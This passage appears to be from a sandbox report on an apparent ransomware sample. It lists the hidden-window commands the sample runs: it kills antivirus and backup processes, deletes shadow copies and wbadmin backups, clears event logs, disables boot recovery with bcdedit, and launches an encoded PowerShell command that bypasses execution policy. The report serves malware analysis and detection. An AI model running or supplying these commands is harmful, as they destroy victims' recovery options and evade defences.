- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im powerpnt.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im CETASvc.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "wevtutil cl system"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "wbadmin DELETE SYSTEMSTATEBACKUP"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "wevtutil cl securit"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "wevtutil cl application"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin delete shadows /all /quiet"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -ep bypass -c Start-Process -FilePath \"powershell.exe\" -ArgumentList \" -ep bypass -w hidden -ec dwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgB...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im SupportConnector.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im vastsvc.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im SophosSAU.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im McAfeeFramework.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im KasperskyService.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im NortonSecurity.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "net stop iVPAgent /y"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Winword.exe"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c "wbadmin delete catalog -quiet"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Memtas /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop BackupExecAgentBrowser /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Svc$ /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Msexchange /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop TMResponse /y"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Tbirdconfig.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Sql.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Steam.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Dbeng50.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop TMBMServer /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Trend Micro /y"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Ocomm.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Mepo /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Tmlisten /y"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop TmWSCSvc /y"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Dbnmp.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop AOTAgentSvc /y"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Mydesktopqos.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Oracle.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Synctime.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop GxCVD /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Web Service Communicator /y"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Ntrtscan /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Vss Sophos /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Backup /y"
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=U: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=Y: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=W: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=K: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\wevtutil.exe' cl application
- '%WINDIR%\syswow64\wevtutil.exe' cl system
- '%WINDIR%\syswow64\wevtutil.exe' cl securit
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=X: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=B: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=V: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=Z: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im SophosSAU.exe"
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=L: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=E: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=H: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=O: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=S: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=G: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Winword.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop GxBlr /y"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im avgsvc.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im vastsvc.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im SupportConnector.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im PccNTMon.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im iVPAgent.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} recoveryenabled No"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im ResponseService.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im tmwscsvc.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im powerpnt.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im CETASvc.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "wevtutil cl system"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "wbadmin DELETE SYSTEMSTATEBACKUP"
- '%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
- '%WINDIR%\syswow64\cmd.exe' /c "wevtutil cl securit"
- '%WINDIR%\syswow64\cmd.exe' /c "wevtutil cl application"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin delete shadows /all /quiet"
- '%WINDIR%\syswow64\cmd.exe' /c "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -ep bypass -c Start-Process -FilePath \"powershell.exe\" -ArgumentList \" -ep bypass -w hidden -ec dwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgB...
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Ocssd.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Avast Antivirus! /y"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im Sqbcoreservice.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Sql /y"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop Tmccst /y"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ep bypass -c Start-Process -FilePath \"powershell.exe\" -ArgumentList \" -ep bypass -w hidden -ec dwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAG...
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im AOTAgent.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop GxVss /y"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=M: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=N: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im McAfeeFramework.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im KasperskyService.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "taskkill /f /im NortonSecurity.exe"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "vssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB"
- '%WINDIR%\syswow64\cmd.exe' /c "net stop iVPAgent /y"
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=R: /on=C: /maxsize=401MB
